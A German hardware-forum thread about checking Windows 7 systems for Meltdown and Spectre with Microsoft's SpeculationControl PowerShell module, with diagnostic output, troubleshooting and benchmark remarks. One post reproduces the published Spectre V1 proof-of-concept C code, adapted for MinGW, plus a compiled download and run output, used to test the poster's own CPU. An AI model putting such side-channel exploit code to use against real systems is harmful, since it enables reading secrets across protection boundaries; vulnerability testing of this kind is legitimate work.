Meltdown/Spectre Powershell Verifikation Windows 7

PS C:\Windows\system32> Find-Module -Name SpeculationControl -MinimumVersion 1.0.0

Version Name Repository Description
------- ---- ---------- -----------
1.0.2 SpeculationControl PSGallery This module provides the ability to query the spe...



PS C:\Windows\system32>

Eventuell Lust und Zeit es mit TeamViewer zu probieren?
 
Zuletzt bearbeitet:
Ich habe zwei Fragen:
Warum soll WMF 5 installiert werden, wo es doch schon WMF 5.1 gibt?
Warum gibt es von WMF 5.1 die Version für Windows 7, um das es hier geht, als ZIP-Datei und nicht als .msu-Datei?
 
Zu Frage 1:
Das ist mir entgangen, und natürlich sollte die neueste Version installiert werden. Somit wird 5.1 im Startbeitrag die Version 5.0 ersetzten.
Zu Frage 2:
Die Zip Datei enthält die msu Datei und eine weitere Powershell-Script Datei als Installer. Hier scheint Microsoft Powershell Usern zusätzliche Möglichkeiten zu bieten (Wohl vor allem für eine Remote Installation)

Danke dir für den Hinweis.
 
Zuletzt bearbeitet:
Bei mir musste ich bei Windows 10 Pro 64 Bit mit PS 5.1 auch zwei mal mit "J" bestätigen, danach lief das Script durch.
http://abload.de/img/spectrecheck_os9vuqz.jpg

Ein Bios Update wird es für mein Board nicht mehr geben, dafür sind aber die UEFI SecureBoot Schlüssel geladen:
http://abload.de/img/180107112459zjsqq.png
http://abload.de/img/180107112534cnsi8.png

Sowie ECC aktiv um provozierte Bit-Flips abzufangen. ;)

€dit: Browser konfigurieren: https://thehackernews.com/2018/01/meltdown-spectre-patches.html
 
Zuletzt bearbeitet:
Bitte solche Links in errates Linksammlung posten. Hier ist das Offtopic, da es lediglich um das Powershell Tool geht.
Allerdings ist der letzte Link von dir so gespickt mit Fehlern und falschen Informationen, dass ich es lieber nicht verlinken würde und es auch besser wäre du löschst ihn wieder.
Vor allem die Behauptung Windows 7 würde erst am 9. Januar gepatcht ist falsch, wie du ja unschwer an diesem Thread erkennen kannst.

Ganz nebenbei hat auch ECC und der Schutz vor Bit-Flips nichts mit den Meltdown oder Spectre Exploits zu tun und bietet keinerlei zusätzlichen Schutz beim auslesen der branch prediction im TLB oder Cache der CPU.
 
Bitte solche Links in errates Linksammlung posten. Hier ist das Offtopic, da es lediglich um das Powershell Tool geht.
Allerdings ist der letzte Link von dir so gespickt mit Fehlern und falschen Informationen, dass ich es lieber nicht verlinken würde und es auch besser wäre du löschst ihn wieder.
Vor allem die Behauptung Windows 7 würde erst am 9. Januar gepatcht ist falsch, wie du ja unschwer an diesem Thread erkennen kannst.

Ganz nebenbei hat auch ECC und der Schutz vor Bit-Flips nichts mit den Meltdown oder Spectre Exploits zu tun und bietet keinerlei zusätzlichen Schutz beim auslesen der branch prediction im TLB oder Cache der CPU.
Ja, die News ist ja auch vom Donnerstag 4 Januar, gut möglich das nun Win 7 & 8 auch versorgt sind.

Wie meinst du das mit ECC, der Rowhammer Effekt ist ja wohl bekannt?
https://de.wikipedia.org/wiki/Rowhammer
 
Nur hat Rowhammer nichts mit Meltdown und Spectre zu tun, welche hier thematisiert werden. Es ist ein völlig anderer Exploit und für die hier besprochenen ist ECC irrelevant.
Rowhammer liest nicht aus TLB und Cache, sondern aus benachbarten RAM-Zellen ohne die selben Privilegien. Rawhammer hat auch nichts mit der branch prediction zu tun, welche in der CPU stattfindet, sondern attackiert den verbauten RAM.

Meltdown und Spectre sind auf dem System im selben Maße ausnutzbar unabhängig davon ob ECC verbaut ist oder nicht. Der Exploit findet im Cache/TLB der CPU statt.
 
Nur hat Rowhammer nichts mit Meltdown und Spectre zu tun, welche hier thematisiert werden. Es ist ein völlig anderer Exploit und für die hier besprochenen ist ECC irrelevant.
Rowhammer liest nicht aus TLB und Cache, sondern aus benachbarten RAM-Zellen ohne die selben Privilegien. Rawhammer hat auch nichts mit der branch prediction zu tun, welche in der CPU stattfindet, sondern attackiert den verbauten RAM.

Meltdown und Spectre sind auf dem System im selben Maße ausnutzbar unabhängig davon ob ECC verbaut ist oder nicht. Der Exploit findet im Cache/TLB der CPU statt.
Danke, so hätte ich es jetzt auch verstanden.
Also bis auf Meltdown ist AMD auch betroffen sofern nicht gepatchte 3rd Party Software genutzt wird?
 
Siehe Artikel auf P3DNow.

amd-spectre-meltdown.png
 
So siehts auf meinem Sys aus:

3nXIHp2kcwll.jpg


Ich hab allerdings 10% FPS in ArmA3 verloren laut YAAB
 
Ich habe hier auch diese blaue Zeile am Ende, diese sagt:
Windows OS Support for PCID performance optimization is enabled: False [not required for security]

Sandy-E3-HalfPatched.GIF

Sandy Bridge Xeon E3 1270 auf Z68Gen3 mit Win7 Pro - Windows Security Update 2018/01 installiert

Nachtrag: GIF statt JPG eingefügt zur besseren Lesbarkeit

Momentan fühle ich mich durch die Schandtaten Intels genauso um eines meiner Lieblingsspielzeuge enteignet wie damals als die Steuern für mein erstes Auto in etwa verdreifacht wurden, weil es keinen geregelten Katalysator hatte und auch im Zubehörhandel keiner kaufbar war.
 

Anhänge

  • Sandy-E3-HalfPatched.JPG
    Sandy-E3-HalfPatched.JPG
    68,4 KB · Aufrufe: 38
Zuletzt bearbeitet:
Ich habe hier auch diese blaue Zeile am Ende, diese sagt:
Windows OS Support for PCID performance optimization is enabled: False [not required for security]
Ach ja das hatte errate ja auch.

Das ist die Aktivierung von Process-Context Identifiers (PCID) bei CPUs neuer als Skylake. Dieses Feature soll den Performanceverlust bei diesem Patch reduzieren. Es existiert auch noch INVPCID (Invalidate Process-Context Identifier), was darauf aufsetzt.
http://hypervsir.blogspot.de/2014/11/improve-performance-for-separating.html
To assisting in OS software programing, the new instruction INVPCID (Invalidate Process-Context Identifier) also is introduced to invalidate mappings in the translation lookaside buffers (TLBs) and paging-structure caches based on process context identifier (PCID). It is kind of like INVEPT and INVVPID in Intel Virtualization technology, the former is to invalidate information cached from the EPT paging structures, and the later is to invalidates mappings in the translation lookaside buffers (TLBs) and paging-structure caches based on Virtual Processor Identifier (VPID).
 
Tja mein altes Spiele System hat dies:
Code:
PS C:\Windows\system32> Get-SpeculationControlSettings
Speculation control settings for CVE-2017-5715 [branch target injection]
For more information about the output below, please refer to https://support.microsoft.com/en-in/help/4074629

Hardware support for branch target injection mitigation is present: False
Windows OS support for branch target injection mitigation is present: True
Windows OS support for branch target injection mitigation is enabled: False
Windows OS support for branch target injection mitigation is disabled by system
policy: False
Windows OS support for branch target injection mitigation is disabled by absence of hardware support: True

Speculation control settings for CVE-2017-5754 [rogue data cache load]

Hardware requires kernel VA shadowing: True
Windows OS support for kernel VA shadow is present: True
Windows OS support for kernel VA shadow is enabled: True
Windows OS support for PCID performance optimization is enabled: False [not required for security]

Suggested actions

 * Install BIOS/firmware update provided by your device OEM that enables hardware support for the branch target injection mitigation.


BTIHardwarePresent             : False
BTIWindowsSupportPresent       : True
BTIWindowsSupportEnabled       : False
BTIDisabledBySystemPolicy      : False
BTIDisabledByNoHardwareSupport : True
KVAShadowRequired              : True
KVAShadowWindowsSupportPresent : True
KVAShadowWindowsSupportEnabled : True
KVAShadowPcidEnabled           : False

Intel Core i5-2320 auf Fujitsu Desktop Board D2990-A14

Bezweifle das ich da was von Fujitsu noch bekomme, mal schauen ob es später einen funktionieren Workaround gibt, das Mikrocodeupdate vor dem Start von Win7 zu laden. Im Bios selber das rein zu flashen traue ich mir nicht mehr zu. Specter sehe ich als zu Speziell an, als das cih mir wirklich Sorgen mache, abder glücklich bin ich nicht darüber.

Benchmark vergleiche kann ich aktuell nicht liefern, außer einen der wahrscheinlich am wenigsten sagt:

Cryptonight Mining CPU
vorher 0110 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64
nachher 0105 H/s : Intel Core i5-2320 @Stock mit xmr-stak-cpu (4T, prefetch:true, Mem-Lock failed) unter Windows 7 x64

vorher 0180 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
nachher 0174 H/s : Intel Core i5-2320 @Stock mit xmrig (3T, mit Large Pages) unter Windows 7 x64
 
Zuletzt bearbeitet:
In der Liste der betroffenen Produkte wird es bisher nicht aufgeführt von Fujitsu.
 
Hier war jemand aus dem 3DCenter erfolgreich damit das selbe Problem zu beheben wie es Pinnacle Ridge hat:
der Tipp aus dem Forum von Planet 3dNow! die nuget.exe manuell herunterzuladen und in den Ordner C:\Program Files\PackageManagement\nuget\nuget.exe zu kopieren hat funktioniert. Nach der Eingabe von Install-Module SpeculationControl wurde nuget durch die PowerShell installiert und das Script läuft. Das Tool von Ashampoo funktioniert jetzt auch, es bedient sich ja der selben Vorgehensweise wie das Script von Microsoft. Der User "Pinnacle Ridge" war ja soweit das das Modul installiert wurde, aber er kann die Settings nicht abrufen. Keine Ahnung warum das so ist.
 
@Pinnacle Ridge
Hier ein weiterer Tipp aus dem 3Dcenter wie der Dialog gestoppt werden kann. Es registriert die richtigen Pfade mit Set-Location:
Code:
Save-Module -Name SpeculationControl
C:\Windows\System32\WindowsPowerShell\v1.0\Modules (the Path)
Set-Location C:\Windows\System32\WindowsPowerShell\v1.0\Modules
Set-ExecutionPolicy Unrestricted
Import-Module SpeculationControl
Set-ExecutionPolicy Restricted
Get-SpeculationControlSettings
 
Ich hatte heute etwas Zeit zum Spielen und haben versucht Spectre V1 (Bounds Check Bypass bzw. CVE-2017-5753) auf meinem AMD Bobcat zu verifizieren. Einen Beispielcode findet man im Appendix A folgender Veröffentlichung (maßgeblich finanziert mit EU-Geldern): "Spectre Attacks: Exploiting Speculative Execution" von Paul Kocher et al..

Ich habe hier keine Microsoft C-Entwicklungsumgebung sondern nur das kostenlose Code::blocks mit mingw für x86. Den Code musste ich ein klein wenig anpassen, damit das auch auf dem Freeware-Compiler läuft. Außerdem kann man jetzt das Cache-Hit-Delay einstellen. Vorher war ein Wert von 80 fest im Code (Einheit?). Das kann man jetzt beim Kommandozeilenaufruf mit vorgeben, wo da die Grenze liegt.
Das ganze ist von mir zugegeben ziemlich stümperhaft umgesetzt (bin kein Lowlevel-Programmierer, der für 10 % Geschwindigkeitszuwachs Assembler-Fragmente in seinen Code einbauen würde). Man führt die Exe von der Kommandozeile aus und übergibt drei Parameter. Der erste wird ignoriert (der stellt eigentlich die Speicheradresse ein, die "gehackt" werden soll). Der zweite stellt die Länge des auszulesenden Fragments ein und der dritte die Cache Hit Time (bzw. im Original den Cache Hit Threshold). Mit dem Dritten muss man etwas rumspielen, damit die Software überhaupt etwas im Cache-System findet. Zumindest bei mir.

Das ganze läuft auf einem Windows 7 32 Bit Professional mit einem AMD E-350 (Bobcat X2 @ 1,6 GHz).

Hier erstmal den Code für Codeblocks (als C-Projekt für die Kommandozeile):
Code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#include <emmintrin.h> /* Aenderung von Daniel, aus dem Internet gefischt für _mm_clflush*/
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (200) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2], int CacheHitTime) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;

for (i = 0; i < 256; i++)
    results[i] = 0;

for (tries = 999; tries > 0; tries--) {
    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
    _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
        _mm_clflush(&array1_size);
        volatile int z = 0;
        for ( z = 0; z < 100; z++) {} /* Delay (can also mfence) */
        /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
        /* Avoid jumps in case those tip off the branch predictor */
        x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
        x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
        x = training_x ^ (x & (malicious_x ^ training_x));
        /* Call the victim! */
        victim_function(x);
    }
    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
        mix_i = ((i * 167) + 13) & 255;
        addr = &array2[mix_i * 512];
        time1 = __rdtscp(&junk); /* READ TIMER */
        junk = *addr; /* MEMORY ACCESS TO TIME */
        time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
        if (time2 <= CacheHitTime && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }
    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
            } else if (k < 0 || results[i] >= results[k]) {
            k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];

}
int main(int argc, const char **argv) {
        size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
        int i, score[2], len=40;
        uint8_t value[2];
        int CacheHitTime = 80;

    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 4) {
        //sscanf(argv[1], "%p", (void**)(&malicious_x));
        //malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
        // Aenderung von Daniel: Auch die Cache-Hit-Zeit (wie auch immer gemessen) soll ein Parameter werden
        sscanf(argv[3], "%d", &CacheHitTime);
        //sscanf(argv[3], "%d", %CacheHitTime);
    }
    printf("Reading %d bytes:\n", len);
    printf("Cache-Hit-Time = %d\n", CacheHitTime);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void*)malicious_x);
        readMemoryByte(malicious_x++, value, score, CacheHitTime);
        printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
        //printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
        printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        //printf("\n%c\n", value[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return (0);
}

Wenn man's mit Codeblocks kompilieren will, muss man noch die SSE2-Erweiterung aktivieren (bei mir über march für einen Core2Duo), sonst gibt es einen Compiler-Fehler.
Auf dem E-350 findet er vereinzelte Datenfragmente erst ab einem CACHE_HIT_THRESHOLD (bzw. bei mir jetzt CacheHitTime) von ca. 215 (Einheit?). Bei 220 geht's dann schon massiv zur Sache, so dass viele Datenfragmente mit ähnlicher Zugriffszeit gefunden werden. Das ist auf jeden Fall nicht statistisch signifikant und er liest bei jedem Durchlauf auch was anderes aus.
Ich schließe daraus, dass der Bobcat die Daten für diesen Beispielcode nicht spekulativ in den Cache lädt und damit zumindest für dieses Beispiel nicht für Bounds Check Bypass anfällig ist.
Lustig wird's übrigens, wenn noch Hintergrundprozesse arbeiten. Die bringen einiges an Rauschen in die Zeitmessung für die Cache-Fragmente, so dass die Auslesegeschwindigkeit vermutlich stark sinken dürfte.
Hier noch die Kommandozeilenausgabe (40 Byte gelesen, Cache Hit Treshold bei 220, der Parameter "99999" wird ignoriert):
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 99999 40 220
Reading 40 bytes:
Cache-Hit-Time = 220
Reading at malicious_x = 000010E8... Unclear: 0xD1='?' score=637 (second best: 0
x4F score=623)
Reading at malicious_x = 000010E9... Unclear: 0xD0='?' score=672 (second best: 0
x4E score=669)
Reading at malicious_x = 000010EA... Unclear: 0xE3='?' score=795 (second best: 0
x53 score=792)
Reading at malicious_x = 000010EB... Unclear: 0xCE='?' score=634 (second best: 0
xC8 score=627)
Reading at malicious_x = 000010EC... Unclear: 0xD1='?' score=340 (second best: 0
xD0 score=337)
Reading at malicious_x = 000010ED... Unclear: 0xCE='?' score=393 (second best: 0
x4E score=392)
Reading at malicious_x = 000010EE... Unclear: 0x1A='?' score=794 (second best: 0
x51 score=792)
Reading at malicious_x = 000010EF... Unclear: 0xCF='?' score=384 (second best: 0
xD2 score=375)
Reading at malicious_x = 000010F0... Unclear: 0x1A='?' score=800 (second best: 0
x49 score=799)
Reading at malicious_x = 000010F1... Unclear: 0xD1='?' score=645 (second best: 0
x4D score=637)
Reading at malicious_x = 000010F2... Unclear: 0xD4='?' score=694 (second best: 0
x56 score=693)
Reading at malicious_x = 000010F3... Unclear: 0x4E='N' score=708 (second best: 0
xC1 score=703)
Reading at malicious_x = 000010F4... Unclear: 0xD0='?' score=482 (second best: 0
xD1 score=475)
Reading at malicious_x = 000010F5... Unclear: 0xCE='?' score=441 (second best: 0
x4F score=433)
Reading at malicious_x = 000010F6... Unclear: 0xD1='?' score=736 (second best: 0
xD5 score=733)
Reading at malicious_x = 000010F7... Unclear: 0x56='V' score=721 (second best: 0
xD5 score=712)
Reading at malicious_x = 000010F8... Unclear: 0x4F='O' score=606 (second best: 0
xD2 score=594)
Reading at malicious_x = 000010F9... Unclear: 0xD0='?' score=799 (second best: 0
xF0 score=797)
Reading at malicious_x = 000010FA... Unclear: 0xD5='?' score=727 (second best: 0
x53 score=723)
Reading at malicious_x = 000010FB... Unclear: 0xD5='?' score=737 (second best: 0
xD0 score=728)
Reading at malicious_x = 000010FC... Unclear: 0x4E='N' score=627 (second best: 0
xC7 score=619)
Reading at malicious_x = 000010FD... Unclear: 0xD1='?' score=723 (second best: 0
xCE score=722)
Reading at malicious_x = 000010FE... Unclear: 0xD0='?' score=642 (second best: 0
x4E score=642)
Reading at malicious_x = 000010FF... Unclear: 0xCF='?' score=610 (second best: 0
x48 score=609)
Reading at malicious_x = 00001100... Unclear: 0x53='S' score=714 (second best: 0
xD0 score=709)
Reading at malicious_x = 00001101... Unclear: 0xD1='?' score=727 (second best: 0
x4A score=714)
Reading at malicious_x = 00001102... Unclear: 0xCA='?' score=723 (second best: 0
xCF score=712)
Reading at malicious_x = 00001103... Unclear: 0x4F='O' score=586 (second best: 0
xD2 score=577)
Reading at malicious_x = 00001104... Unclear: 0x4F='O' score=617 (second best: 0
xD5 score=612)
Reading at malicious_x = 00001105... Unclear: 0x4E='N' score=781 (second best: 0
x6D score=780)
Reading at malicious_x = 00001106... Unclear: 0xC8='?' score=704 (second best: 0
xCF score=696)
Reading at malicious_x = 00001107... Unclear: 0x4F='O' score=698 (second best: 0
x4E score=689)
Reading at malicious_x = 00001108... Unclear: 0x4F='O' score=743 (second best: 0
x4E score=737)
Reading at malicious_x = 00001109... Unclear: 0x4F='O' score=795 (second best: 0
x49 score=793)
Reading at malicious_x = 0000110A... Unclear: 0x56='V' score=635 (second best: 0
xD5 score=614)
Reading at malicious_x = 0000110B... Unclear: 0xD5='?' score=654 (second best: 0
x49 score=648)
Reading at malicious_x = 0000110C... Unclear: 0x4E='N' score=725 (second best: 0
xD5 score=721)
Reading at malicious_x = 0000110D... Unclear: 0x4F='O' score=705 (second best: 0
x1A score=698)
Reading at malicious_x = 0000110E... Unclear: 0x53='S' score=618 (second best: 0
xD1 score=613)
Reading at malicious_x = 0000110F... Unclear: 0xD0='?' score=716 (second best: 0
x4E score=713)

Sonst besitze ich hier nur noch einen Core 2 Duo (65 nm Memrom, 4 MB Cache) ebenfalls mit Win7 32 Bit Professional. Auf dem bekomme ich die Software gar nicht zu laufen. Der intrinsische Assembler-Befehl für die Zeitmessung (Code-Zeile: time1 = __rdtscp(&junk); /* READ TIMER */) bringt das Programm zum Absturz. Es könnte sein, dass man dafür eine Microsoft-C-DLL braucht. Das Windows auf dem E-350 hatte mal eine richtige Microsoft Entwicklungsumgebung für C/C++ gesehen, die nach dem Verlust der Lizenz deinstalliert wurde. Meist bleibt ja etwas zurück. Auf dem Core 2 Duo war sowas nie installiert.

Soviel zum Stand. Vielleicht will das ja mal jemand nachbauen, damit wir auch die anderen alten AMD-Prozessoren mal durchtesten können. Idealerweise mit einem MS-Compiler.
 
Zuletzt bearbeitet:
... Ich habe hier keine Microsoft C-Entwicklungsumgebung ... man dafür eine Microsoft-C-DLL braucht. Das Windows auf dem E-350 hatte mal eine richtige Microsoft Entwicklungsumgebung für C/C++ gesehen, die nach dem Verlust der Lizenz deinstalliert wurde. Meist bleibt ja etwas zurück. Auf dem Core 2 Duo war sowas nie installiert.

Soviel zum Stand. Vielleicht will das ja mal jemand nachbauen, damit wir auch die anderen alten AMD-Prozessoren mal durchtesten können. Idealerweise mit einem MS-Compiler.
Es gibt eine kostenlose Version von Visual Studio 2017 (Community):
https://www.visualstudio.com/vs/community/
oder
die letzte Version von Visual Studio Express (2017 for Windows Desktop):
http://aka.ms/vs/15/release/vs_WDExpress.exe
(Achtung, das ist schon der Downloadlink)
 
Visual Studio scheint es nicht mehr als Download-Link zu geben. Es gibt von Microsoft ja auch die Visual C++ 2015 Build Tools (da braucht man in Codeblocks nur den Compiler umstellen). Er droht mir jedoch 4 GB Download-Volumen an, was ohne DSL schlicht nicht geht. Da muss sich jemand anderes drum kümmern.
 
Visual Studio scheint es nicht mehr als Download-Link zu geben. Es gibt von Microsoft ja auch die Visual C++ 2015 Build Tools (da braucht man in Codeblocks nur den Compiler umstellen). Er droht mir jedoch 4 GB Download-Volumen an, was ohne DSL schlicht nicht geht. Da muss sich jemand anderes drum kümmern.
Welches Visual Studio meinst du?

Für die Express-Version steht der Downloadlink im Beitrag #71.

Für die Community-Version hier der Downloadlink:
https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15

Beide Links funktionieren bei mir.
 
Ja, habe ich gesehen. Mit den 3 MB ist es aber nicht getan. Die eigentlichen Installationsdateien lädt er dann aus dem Netz nach. Installiert man nur die Compiler der 2015er Suite (ohne "GUI"), will er vier Gigabyte auf der Festplatte reservieren. Das geht halt hier nicht.


Wer will, kann aber etwas mit der von mir compilierten Variante herum spielen. Hier ist der Quellcode sowie die ausführbare Datei (im Unterverzeichnis \bin\release\). Falls jemand dran rumbauen will: Die IDE-Variante ist Code::Blocks 13.12 (x86) mit dem mingw-Compiler.
http://foveon.de/cp/Spectre-Tester.7z

Der Kommandozeilenaufruf (in der Windowssuche "cmd" eingeben) erfolgt wie folgt:
a) in das Verzeichnis steuern (mittels cd.. und cd xxxxx)
b) Spectre-Tester.exe 9 40 215
Der erste Wert ist ohne Belang. Der zweite Wert ist die Zahl der Bytes, die er zu knacken versucht. Der dritte Wert ist der Cache-Hit-Treshold (dessen Einheit ich nicht kenne). Beim AMD Bobcat braucht man etwas um die 215 Cache-Hit-Threshold. Bei schnelleren CPUs vermutlich weniger. Da muss man mal etwas spielen. Wählt man den Wert zu niedrig, bekommt man soetwas:

Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 9 40 200
Reading 40 bytes:
Cache-Hit-Time = 200
Reading at malicious_x = 000010E8... Success: 0xFF='?' score=0
Reading at malicious_x = 000010E9... Unclear: 0xE2='?' score=1 (second best: 0x8
9 score=1)
Reading at malicious_x = 000010EA... Success: 0xFF='?' score=0
Reading at malicious_x = 000010EB... Success: 0xFF='?' score=0
Reading at malicious_x = 000010EC... Success: 0xFF='?' score=0
Reading at malicious_x = 000010ED... Unclear: 0xF9='?' score=1 (second best: 0xE
E score=1)
Reading at malicious_x = 000010EE... Unclear: 0xB5='?' score=1 (second best: 0xA
A score=1)
Reading at malicious_x = 000010EF... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F0... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F1... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F2... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F3... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F4... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F5... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F6... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F7... Unclear: 0xA9='?' score=1 (second best: 0x7
A score=1)
Reading at malicious_x = 000010F8... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F9... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FA... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FB... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FC... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FD... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FE... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FF... Success: 0xFF='?' score=0
Reading at malicious_x = 00001100... Success: 0xFF='?' score=0
Reading at malicious_x = 00001101... Unclear: 0xC4='?' score=1 (second best: 0xB
9 score=1)
Reading at malicious_x = 00001102... Success: 0xFF='?' score=0
Reading at malicious_x = 00001103... Success: 0xFF='?' score=0
Reading at malicious_x = 00001104... Success: 0xFF='?' score=0
Reading at malicious_x = 00001105... Success: 0xFF='?' score=0
Reading at malicious_x = 00001106... Success: 0xFF='?' score=0
Reading at malicious_x = 00001107... Unclear: 0xF8='?' score=1 (second best: 0xE
D score=1)
Reading at malicious_x = 00001108... Unclear: 0xFB='?' score=1 (second best: 0xA
D score=1)
Reading at malicious_x = 00001109... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110A... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110B... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110C... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110D... Unclear: 0x5D=']' score=1 (second best: 0x0
4 score=1)
Reading at malicious_x = 0000110E... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110F... Success: 0xFF='?' score=0

Da trifft er hin und wieder mal einen Datenblock im Cache an. Hin und wieder heißt, dass er 1000 Versuche unternimmt, den Block zu lesen (siehe Quellcode oben). Bei score=1 hat es einmal funktioniert, also in 1 Promille der Versuche.
Wählt man den Wert "richtig", bekommt man so etwas:
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 9 40 210
Reading 40 bytes:
Cache-Hit-Time = 210
Reading at malicious_x = 000010E8... Success: 0x0D='?' score=21 (second best: 0x
50 score=8)
Reading at malicious_x = 000010E9... Unclear: 0xD2='?' score=59 (second best: 0x
4E score=58)
Reading at malicious_x = 000010EA... Unclear: 0x0D='?' score=86 (second best: 0x
4E score=84)
Reading at malicious_x = 000010EB... Success: 0x0D='?' score=27 (second best: 0x
CF score=11)
Reading at malicious_x = 000010EC... Success: 0x0D='?' score=23 (second best: 0x
60 score=9)
Reading at malicious_x = 000010ED... Success: 0x0D='?' score=87 (second best: 0x
D4 score=41)
Reading at malicious_x = 000010EE... Success: 0x0D='?' score=25 (second best: 0x
65 score=10)
Reading at malicious_x = 000010EF... Success: 0x0D='?' score=25 (second best: 0x
D2 score=10)
Reading at malicious_x = 000010F0... Success: 0x0D='?' score=69 (second best: 0x
D1 score=32)
Reading at malicious_x = 000010F1... Success: 0x0D='?' score=21 (second best: 0x
56 score=8)
Reading at malicious_x = 000010F2... Success: 0x0D='?' score=27 (second best: 0x
4A score=11)
Reading at malicious_x = 000010F3... Success: 0x0D='?' score=95 (second best: 0x
53 score=45)
Reading at malicious_x = 000010F4... Success: 0x0D='?' score=21 (second best: 0x
D4 score=8)
Reading at malicious_x = 000010F5... Success: 0x0D='?' score=27 (second best: 0x
D5 score=11)
Reading at malicious_x = 000010F6... Success: 0x0D='?' score=17 (second best: 0x
D3 score=6)
Reading at malicious_x = 000010F7... Success: 0x0D='?' score=21 (second best: 0x
56 score=8)
Reading at malicious_x = 000010F8... Success: 0x0D='?' score=27 (second best: 0x
48 score=11)
Reading at malicious_x = 000010F9... Success: 0x0D='?' score=19 (second best: 0x
CA score=7)
Reading at malicious_x = 000010FA... Success: 0x0D='?' score=17 (second best: 0x
C9 score=6)
Reading at malicious_x = 000010FB... Success: 0x0D='?' score=21 (second best: 0x
CF score=8)
Reading at malicious_x = 000010FC... Success: 0x0D='?' score=21 (second best: 0x
CF score=8)
Reading at malicious_x = 000010FD... Success: 0x0D='?' score=19 (second best: 0x
32 score=7)
Reading at malicious_x = 000010FE... Success: 0x0D='?' score=71 (second best: 0x
CE score=33)
Reading at malicious_x = 000010FF... Success: 0x0D='?' score=19 (second best: 0x
43 score=7)
Reading at malicious_x = 00001100... Success: 0x0D='?' score=93 (second best: 0x
4D score=44)
Reading at malicious_x = 00001101... Success: 0x0D='?' score=19 (second best: 0x
E9 score=7)
Reading at malicious_x = 00001102... Success: 0x0D='?' score=39 (second best: 0x
CF score=17)
Reading at malicious_x = 00001103... Success: 0x0D='?' score=23 (second best: 0x
D5 score=9)
Reading at malicious_x = 00001104... Success: 0x0D='?' score=31 (second best: 0x
4D score=13)
Reading at malicious_x = 00001105... Unclear: 0xCF='?' score=77 (second best: 0x
4F score=74)
Reading at malicious_x = 00001106... Unclear: 0xD1='?' score=108 (second best: 0
xD2 score=90)
